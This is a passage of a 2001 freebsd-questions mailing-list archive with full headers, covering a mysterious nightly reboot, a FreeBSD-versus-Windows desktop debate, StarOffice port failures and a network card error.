ports which depend on openssl, require one from base system, not from ports?) > > Regards, > Paulius > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 3:41:35 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dire.bris.ac.uk (dire.bris.ac.uk [137.222.10.60]) by hub.freebsd.org (Postfix) with ESMTP id 5D6BC37B405; Tue, 20 Nov 2001 03:41:32 -0800 (PST) Received: from mail.ilrt.bris.ac.uk by dire.bris.ac.uk with SMTP-PRIV with ESMTP; Tue, 20 Nov 2001 11:41:09 +0000 Received: from cmjg (helo=localhost) by mail.ilrt.bris.ac.uk with local-esmtp (Exim 3.16 #1) id 1669H2-0002rd-00; Tue, 20 Nov 2001 11:41:08 +0000 Date: Tue, 20 Nov 2001 11:41:07 +0000 (GMT) From: Jan Grant X-X-Sender: To: Anthony Atkielski Cc: Greg Lehey , FreeBSD Questions , Kris Kennaway Subject: Re: Mysterious boot during the night In-Reply-To: <033e01c16fd8$bd9ff380$0a00000a@atkielski.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 18 Nov 2001, Anthony Atkielski wrote: > Greg writes: > > > You'll note also that a surprising number of > > spontaneous reboots take place during nightly > > cron jobs; there's more than just "hardware failure" > > behind that. > > So what are the other reasons? My mysterious reboot did indeed appear to take > place during a nightly cron job--some sort of default thing that sends me a > summary of system and security problems each morning (I didn't set it up, it was > just there). OK, well, there are some indicators you might follow. Is this reboot happening nightly at the same time? There was a cron job running find at the time. What filesystem types do you have mounted? Have you got anything odd (loopback, union, ntfs) there? Is there a half-formed mail sitting in a queue somewhere indicating which jobs were running at the time? Can you force a crash manually by going through the nightly, weekly, monthly periodic jobs? jan -- jan grant, ILRT, University of Bristol. http://www.ilrt.bris.ac.uk/ Tel +44(0)117 9287088 Fax +44 (0)117 9287112 RFC822 jan.grant@bris.ac.uk and Nostradamus never dreamed of the Church of the Accellerated Worm To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 3:44:30 2001 Delivered-To: freebsd-questions@freebsd.org Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200]) by hub.freebsd.org (Postfix) with ESMTP id 5070537B416 for ; Tue, 20 Nov 2001 03:44:28 -0800 (PST) Received: from pc3-card3-0-cust122.cdf.cable.ntl.com ([62.254.251.122] helo=rhadamanth.private.submonkey.net ident=exim) by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2) id 1669KE-0007jB-00; Tue, 20 Nov 2001 11:44:26 +0000 Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 1669IS-000JxY-00; Tue, 20 Nov 2001 11:42:36 +0000 Date: Tue, 20 Nov 2001 11:42:36 +0000 From: setantae To: Anthony Atkielski Cc: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120114236.GA76431@rhadamanth> References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120105642.GA75918@rhadamanth> <012d01c171b6$96b5adc0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <012d01c171b6$96b5adc0$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 12:29:10PM +0100, Anthony Atkielski wrote: > Ceri writes: > > > Well, I was hoping to stay away from advocacy, but > > since you asked for an example : blackbox. For one. > > What is blackbox? It's a window manager. Try it, it's in the ports tree. Yes, FreeBSD is suited for server use, but I find it perfectly adequate for my dekstop needs as well. As an aside, although most of your arguments are generally reasonable, I am astonished at the sweeping comments that you make on this list when your experience is clearly severely limited with FreeBSD and (it seems) Unix-like systems in general. I'd honestly suggest that you get a system that you don't use in production and play with FreeBSD on it. Yes, play. Ceri -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 3:46:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200]) by hub.freebsd.org (Postfix) with ESMTP id 39CA837B419 for ; Tue, 20 Nov 2001 03:46:56 -0800 (PST) Received: from pc3-card3-0-cust122.cdf.cable.ntl.com ([62.254.251.122] helo=rhadamanth.private.submonkey.net ident=exim) by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2) id 1669Mc-000028-00; Tue, 20 Nov 2001 11:46:54 +0000 Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 1669MR-000Jxx-00; Tue, 20 Nov 2001 11:46:43 +0000 Date: Tue, 20 Nov 2001 11:46:43 +0000 From: setantae To: Anthony Atkielski Cc: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120114643.GB76431@rhadamanth> References: <3BF9B12B.3D521A4D@nycap.rr.com> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <00cd01c171ac$ca0fa0e0$0a00000a@atkielski.com> <20011120102625.GB75402@rhadamanth> <00d201c171af$61dccb80$0a00000a@atkielski.com> <20011120110535.GB75918@rhadamanth> <013901c171b7$407ea500$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <013901c171b7$407ea500$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 12:33:55PM +0100, Anthony Atkielski wrote: > Ceri writes: > > > In fact, no window manager I've ever used has > > ever crashed, with the notable exceptions of > > explorer.exe and progman.exe. > > Neither program is a window manager. They are the programs responsible for creating and manipulating the windows. Aren't they ? -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:14: 9 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dire.bris.ac.uk (dire.bris.ac.uk [137.222.10.60]) by hub.freebsd.org (Postfix) with ESMTP id C399E37B418 for ; Tue, 20 Nov 2001 04:14:06 -0800 (PST) Received: from mail.ilrt.bris.ac.uk by dire.bris.ac.uk with SMTP-PRIV with ESMTP; Tue, 20 Nov 2001 12:13:52 +0000 Received: from cmjg (helo=localhost) by mail.ilrt.bris.ac.uk with local-esmtp (Exim 3.16 #1) id 1669mU-0003Ih-00; Tue, 20 Nov 2001 12:13:38 +0000 Date: Tue, 20 Nov 2001 12:13:37 +0000 (GMT) From: Jan Grant X-X-Sender: To: Anthony Atkielski Cc: Steve Brown , Chip , questions Subject: Re: home pc use In-Reply-To: <009a01c171a9$4eedbee0$0a00000a@atkielski.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, Anthony Atkielski wrote: > Steve writes: > > > If you're tired of Windows crashing you sure can! > > The KDE environment under FreeBSD stalled or crashed on me nearly > half a dozen times in one day. That's about as many crashes as I've > experienced in two years on Windows NT, and all of the Windows NT > crashes were due to bad drivers. > > Unless he intends to run FreeBSD in its native, command-line mode, > he should not expect an increase in stability over Microsoft > Windows, and he may experience the opposite. I use KDE all the time, without problems. I understand you're also seeing odd nightly crashes, and all on a new machine. Have you tried swapping your memory out for somethine else, etc.? -- jan grant, ILRT, University of Bristol. http://www.ilrt.bris.ac.uk/ Tel +44(0)117 9287088 Fax +44 (0)117 9287112 RFC822 jan.grant@bris.ac.uk HP-unix: Open Sauce product, available in 57 distributions. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:24:50 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mmu.edu.my (ext-dns.mmu.edu.my [203.106.62.11]) by hub.freebsd.org (Postfix) with ESMTP id 755B637B405 for ; Tue, 20 Nov 2001 04:24:37 -0800 (PST) Received: from venus.cyber.mmu.edu.my (venus.cyber.mmu.edu.my [203.106.62.12]) by mmu.edu.my (8.9.1b+Sun/8.9.1) with ESMTP id UAA07809; Tue, 20 Nov 2001 20:17:42 +0800 (MYT) Received: from lunar.cyber.mmu.edu.my (lunar.cyber.mmu.edu.my [10.100.3.5]) by venus.cyber.mmu.edu.my (8.8.8+Sun/8.8.8) with ESMTP id UAA25427; Tue, 20 Nov 2001 20:21:09 +0800 (SGT) Received: from mmu.edu.my (localhost [127.0.0.1]) by lunar.cyber.mmu.edu.my (8.9.3+Sun/8.9.1) with SMTP id UAA25807; Tue, 20 Nov 2001 20:19:33 +0800 (SGT) Received: from 10.100.98.21 (SquirrelMail authenticated user s9810048) by 10.100.3.5 with HTTP; Tue, 20 Nov 2001 20:19:33 +0800 (SGT) Message-ID: <2610.10.100.98.21.1006258773.squirrel@10.100.3.5> Date: Tue, 20 Nov 2001 20:19:33 +0800 (SGT) Subject: Re: home pc use From: "Deman" To: setantae@submonkey.net In-Reply-To: <20011120114236.GA76431@rhadamanth> References: <20011120114236.GA76431@rhadamanth> Cc: questions@FreeBSD.ORG X-Mailer: SquirrelMail (version 1.0.6) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > On Tue, Nov 20, 2001 at 12:29:10PM +0100, Anthony Atkielski wrote: >> Ceri writes: > As an aside, although most of your arguments are generally reasonable, I am > astonished at the sweeping comments that you make on this list when your > experience is clearly severely limited with FreeBSD and (it seems) > Unix-like systems in general. > > I'd honestly suggest that you get a system that you don't use in > production and play with FreeBSD on it. Yes, play. > > Ceri Yes, it's true. Absolutely true eventhough it might hurt you. I'm sorry. I'm also not so good in FreeBSD, instead can be called as beginner, but I keep my self away from commenting on something that I don't know ( or have a little knowledge). As I said before, use whatever you like. If you find windows ( NT/2000/XP ) is much easier, than better for you to use it because it'll save your time, money, energy etc. If you find FreeBSD have something for you, then be prepared to learn it. - dmn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:29:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 72EF737B405 for ; Tue, 20 Nov 2001 04:29:28 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKCTNw97769; Tue, 20 Nov 2001 13:29:23 +0100 (CET) Message-ID: <005801c171be$fccc7ff0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Jan Grant" Cc: "FreeBSD Questions" References: Subject: Re: Mysterious boot during the night Date: Tue, 20 Nov 2001 13:29:17 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Jan writes: > Is this reboot happening nightly at the same time? It has happened only once, so I don't know. On the one occasion when it did happen, it was during the night. I had top running at the time, and the last screen shows processes running that imply that a cron job was running. > There was a cron job running find at the time. Yes. > What filesystem types do you have mounted? Have you > got anything odd (loopback, union, ntfs) there? All default UFS stuff (I just went with what the default installation recommended): freebie# df Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/ad0s1a 992239 90081 822779 10% / /dev/ad0s1f 35433281 2101159 30497460 6% /usr /dev/ad0s1e 694607 4905 634134 1% /var procfs 4 4 0 100% /proc The system is pure FreeBSD, no other boot systems or anything. > Is there a half-formed mail sitting in a queue > somewhere indicating which jobs were running at > the time? In /var/spool/mqueue, you mean? Nope, it's empty. > Can you force a crash manually by going through the > nightly, weekly, monthly periodic jobs? I don't know. The system runs continuously, and cron generates some informative e-mails each night. On the night of the crash, setiathome was running full blast, but it had been doing that on previous nights, too, without a problem. It's mysterious. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:30:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from main.dcu.donbass.com (dcu.donbass.com [195.184.223.194]) by hub.freebsd.org (Postfix) with ESMTP id 74EF037B419 for ; Tue, 20 Nov 2001 04:30:54 -0800 (PST) Received: from sql-server (ws2.dcu.donbass.com [195.184.200.2]) by main.dcu.donbass.com (8.9.3/8.9.3/dcu) with ESMTP id OAA02020 for ; Tue, 20 Nov 2001 14:30:49 +0200 (EET) (envelope-from master@dcu.donetsk.ua) Date: Tue, 20 Nov 2001 14:35:59 +0200 From: Vadim Zaychenko X-Mailer: The Bat! (v1.54/10) Reply-To: Vadim Zaychenko X-Priority: 3 (Normal) Message-ID: <2478502420.20011120143559@dcu.donetsk.ua> To: freebsd-questions@FreeBSD.ORG Subject: troubles MIME-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG After setting 3Com switch 4400 FreeBSD every minute said "failed to write packet back" Ethernet card - Compex RLATX 10/100. What can I do? -- Best regards, Vadim Zaychenko mailto:master@dcu.donetsk.ua ICQ: 92369162 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ôØÍÁ ÔÏÖÅ Ä×ÉÖÅÔÓÑ ÓÏ ÓËÏÒÏÓÔØÀ Ó×ÅÔÁ, ÎÏ × ÏÂÒÁÔÎÏÍ ÎÁÐÒÁ×ÌÅÎÉÉ. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ïÔÐÒÁ×ÌÅÎÏ 20 ÎÏÑÂÒÑ 2001 Ç. × 13:22:04 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:33:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rabbit.netstyle.com.ua (rabbit.netstyle.com.ua [193.193.194.5]) by hub.freebsd.org (Postfix) with ESMTP id 69CF937B416; Tue, 20 Nov 2001 04:32:53 -0800 (PST) Received: from mile.nevermind.kiev.ua (km-radio.kvazar-micro.com [213.186.199.26] (may be forged)) by rabbit.netstyle.com.ua (8.11.6/8.11.3) with ESMTP id fAKCYMG31123; Tue, 20 Nov 2001 14:34:27 +0200 (EET) (envelope-from never@mile.nevermind.kiev.ua) Received: (from never@localhost) by mile.nevermind.kiev.ua (8.11.6/8.11.4) id fAKCdxa03663; Tue, 20 Nov 2001 14:39:59 +0200 (EET) (envelope-from never) Date: Tue, 20 Nov 2001 14:39:59 +0200 From: Nevermind To: Marcel Moolenaar Cc: Cyrille Lefevre , "David O'Brien" , Andreas Klemm , ports@FreeBSD.ORG, questions@FreeBSD.ORG Subject: Re: linux_base-{6|7} && staroffice-{52|6} (was: PORTVERSION=6.1 wrong in linux_base-62 ???) Message-ID: <20011120143959.A3345@nevermind.kiev.ua> References: <20011115211037.B721@dhcp01.pn.xcllnt.net> <200111161203.fAGC3FI05149@gits.dyndns.org> <20011116184522.A528@athlon.pn.xcllnt.net> <20011119150708.B13357@nevermind.kiev.ua> <20011119105703.A39046@dhcp01.pn.xcllnt.net> <20011119211445.B11785@nevermind.kiev.ua> <20011119133046.B50804@kayak.xcllnt.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011119133046.B50804@kayak.xcllnt.net>; from marcel@xcllnt.net on Mon, Nov 19, 2001 at 01:30:46PM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, Marcel Moolenaar! On Mon, Nov 19, 2001 at 01:30:46PM -0800, you wrote: > > % /usr/bin/uname -a: > > FreeBSD mile.nevermind.kiev.ua 4.4-STABLE FreeBSD 4.4-STABLE #0: Fri Nov 2 15:56:19 EET 2001 root@mile.nevermind.kiev.ua:/usr/obj/usr/src/sys/mile i386 > > > > A recent -STABLE machine with a linux kernel module before the Mega-MFC. Had it been coomited? I mean 2.4.x linux kernel module? > > % cd /usr/ports/editors/staroffice52; make install WITH_ADABAS=yes: > > ===> staroffice-5.2 depends on file: /compat/linux/lib/libc.so.6 - > > found > > What happens if you do not enable ADABAS? I never enabled it and I also > never had problems with SO-5.2... > > As far as I know 2 things will not work: > - StarOffice's database ADABAS and > - Netscape will not be able to display JAVA-applets > (JavaScripts will work fine). > > > So, try it without ADABAS and see if things improve. I've tried it is shown in debug output. No luck, anyway. > > Oh, since you have a 2.2.12 linux kernel module. Stick to SO-5.2. > If you need to run SO-6, you need to upgrade you -STABLE box and > I suggest to make sure it's what you want. The same question, had 2.4.x linux kernel module been commited? P.S. There is another PR about the same situation: http://www.freebsd.org/cgi/query-pr.cgi?pr=ports/31086 P.P.S. Excuse me for my English. -- NEVE-RIPE To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:35: 7 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id DB78637B405 for ; Tue, 20 Nov 2001 04:35:04 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKCYxJ98214; Tue, 20 Nov 2001 13:34:59 +0100 (CET) Message-ID: <005f01c171bf$c4d06b10$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "setantae" Cc: References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120105642.GA75918@rhadamanth> <012d01c171b6$96b5adc0$0a00000a@atkielski.com> <20011120114236.GA76431@rhadamanth> Subject: Re: home pc use Date: Tue, 20 Nov 2001 13:34:53 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ceri writes: > It's a window manager. > Try it, it's in the ports tree. Maybe some other time. I've had my fill of window managers for the time being. > Yes, FreeBSD is suited for server use, but I > find it perfectly adequate for my dekstop needs > as well. It may be, if your needs are very limited. I have more than 100 applications that I use on Windows, though, and there is just no way to get the equivalent on FreeBSD--nor do I have any motivation to try to do so. Why would I want a clone of Windows? I already _have_ Windows. > As an aside, although most of your arguments are > generally reasonable, I am astonished at the sweeping > comments that you make on this list when your > experience is clearly severely limited with FreeBSD > and (it seems) Unix-like systems in general. There's no magic in FreeBSD. It's an OS like any other, and I've seen lots of operating systems. Do not assume that a lack of knowledge of individual commands or structures in FreeBSD on my part is in any way an indication of general ignorance concering the function and design of operating systems. When you've seen one or two dispatchers, you've seen them all. The fundamental architecture of UNIX is very well know, even by people who don't use it. After all, it has been around for thirty years, and it's pretty straightforward. It is thus very easy and valid to make "sweeping comments" concerning UNIX, whether or not one happens to be one of the world's five greatest experts on the system. What surprises and amuses me is that so many people here do not realize this. Maybe UNIX is the only OS they've ever used. > I'd honestly suggest that you get a system that you > don't use in production and play with FreeBSD on it. > Yes, play. That's what I'm doing now with my FreeBSD machine. It has no production on it. However, I still try to run it like a production system, because that's the goal of using any operating system, over the long term. Production objectives impose constraints that force you to try harder; it's much more difficult to get a system in shape for production use than to just "play" with it endlessly. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:35:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id 56C3E37B405 for ; Tue, 20 Nov 2001 04:35:14 -0800 (PST) Received: (from mwlucas@localhost) by blackhelicopters.org (8.11.6/8.11.6) id fAKCYqg98058; Tue, 20 Nov 2001 07:34:52 -0500 (EST) (envelope-from mwlucas) Date: Tue, 20 Nov 2001 07:34:51 -0500 From: Michael Lucas To: Anthony Atkielski Cc: Deman , freebsd-questions@FreeBSD.ORG Subject: Re: Mysterious boot during the night Message-ID: <20011120073451.A97990@blackhelicopters.org> References: <008201c17164$d2220e00$0a00000a@atkielski.com> <2519.10.100.98.21.1006246845.squirrel@10.100.3.5> <00a101c171a9$75395d70$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <00a101c171a9$75395d70$0a00000a@atkielski.com>; from anthony@atkielski.com on Tue, Nov 20, 2001 at 10:55:10AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 10:55:10AM +0100, Anthony Atkielski wrote: > Deman writes: > > > I don't think that IT manager will ask such a question. > > Please RTFM. > > No manual is furnished with the product. A lot of IT managers won't use a > product that has no manual. As an IT manager: yes, this is completely true. If you don't have a manual for a product, there's no point in buying it. You do have the option to purchase a manual, however. The FreeBSD Handbook just went into print. Greg Lehey has written a pretty definitive FreeBSD manual, and there are several others out there. If you need it bundled, you can get it from mall.daemonnews.org. Buying a bundle will also make the cost more like a commercial software product, which can be an advantage. -- Michael Lucas mwlucas@blackhelicopters.org http://www.blackhelicopters.org/~mwlucas/ Big Scary Daemons: http://www.oreillynet.com/pub/q/Big_Scary_Daemons To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:37: 1 2001 Delivered-To: freebsd-questions@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id D3B2937B405 for ; Tue, 20 Nov 2001 04:36:56 -0800 (PST) Received: (from mwlucas@localhost) by blackhelicopters.org (8.11.6/8.11.6) id fAKCadw98094; Tue, 20 Nov 2001 07:36:39 -0500 (EST) (envelope-from mwlucas) Date: Tue, 20 Nov 2001 07:36:39 -0500 From: Michael Lucas To: Anthony Atkielski Cc: Kris Kennaway , Steve Brown , Chip , questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120073639.B97990@blackhelicopters.org> References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120024747.A92560@xor.obsecurity.org> <012501c171b5$dcd9b900$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <012501c171b5$dcd9b900$0a00000a@atkielski.com>; from anthony@atkielski.com on Tue, Nov 20, 2001 at 12:23:46PM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 12:23:46PM +0100, Anthony Atkielski wrote: > Kris writes: > > > I don't know what you mean by "functional and > > ergonomic equivalent of Microsoft Windows". > > I mean something that does everything that Microsoft Windows does, with the same > ease of use. Both of these are requirements for any environment advocated as an > alternative to Microsoft Windows for the average, non-geek user. I haven't touched a Windows system in close to a year now, but I find WindowMaker and wmakerconf to be simple enough that my wife (a non-technical person) can use them. -- Michael Lucas mwlucas@blackhelicopters.org http://www.blackhelicopters.org/~mwlucas/ Big Scary Daemons: http://www.oreillynet.com/pub/q/Big_Scary_Daemons To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:40: 3 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id AE66C37B405 for ; Tue, 20 Nov 2001 04:39:56 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKCdse98692; Tue, 20 Nov 2001 13:39:54 +0100 (CET) Message-ID: <006401c171c0$74db6780$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "setantae" , "FreeBSD Questions" References: <3BF9B12B.3D521A4D@nycap.rr.com> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <00cd01c171ac$ca0fa0e0$0a00000a@atkielski.com> <20011120102625.GB75402@rhadamanth> <00d201c171af$61dccb80$0a00000a@atkielski.com> <20011120110535.GB75918@rhadamanth> <013901c171b7$407ea500$0a00000a@atkielski.com> <20011120114643.GB76431@rhadamanth> Subject: Re: home pc use Date: Tue, 20 Nov 2001 13:39:47 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ceri writes: > They are the programs responsible for creating > and manipulating the windows. > > Aren't they ? Nope. In the old Windows systems, PROGMAN.EXE maintained a window on the desktop from which other programs could be launched; its primary purpose was to provide access to all other programs. In the new Windows systems, EXPLORER.EXE maintains the taskbar and provides a few other services, like the Windows Explorer window. However, both new and old Windows systems would run without these programs, and they did not provide any window management, which was a function of the underlying GUI modules. The old Windows systems wouldn't do much without PROGMAN, since there was no way to start other programs; but newer Windows systems can survive without EXPLORER, although you usually have to restart it to do things productively. Windows NT, in particular, does not require that EXPLORER be running, and if it crashes or if you have to kill it, you can still start programs through the secure attention sequence (Ctrl-Alt-Del); you can also simply restart EXPLORER through this same mechanism. I've had to do that occasionally, usually because an Explorer plug-in hangs the program. Windows NT and its kin don't even require that a GUI environment be running, but in practice they are so dependent on a GUI that they are practically useless without one. This is one of the serious drawbacks of NT as a server when compared to FreeBSD. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:41:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sand3.global.net.uk (sand3.global.net.uk [195.147.246.249]) by hub.freebsd.org (Postfix) with ESMTP id 2435237B405 for ; Tue, 20 Nov 2001 04:41:11 -0800 (PST) Received: from adamantite.global.net.uk ([194.126.80.200] helo=globalnet.co.uk) by sand3.global.net.uk with esmtp (Exim 3.22 #1) id 166AD2-0001aX-00 for questions@FreeBSD.ORG; Tue, 20 Nov 2001 12:41:04 +0000 Message-ID: <3BFA5007.42A27F84@globalnet.co.uk> Date: Tue, 20 Nov 2001 12:43:51 +0000 From: John Ekins Reply-To: jre@globalnet.co.uk X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.4-RELEASE i386) X-Accept-Language: en-GB, en MIME-Version: 1.0 Cc: questions@FreeBSD.ORG Subject: Re: home pc use References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> 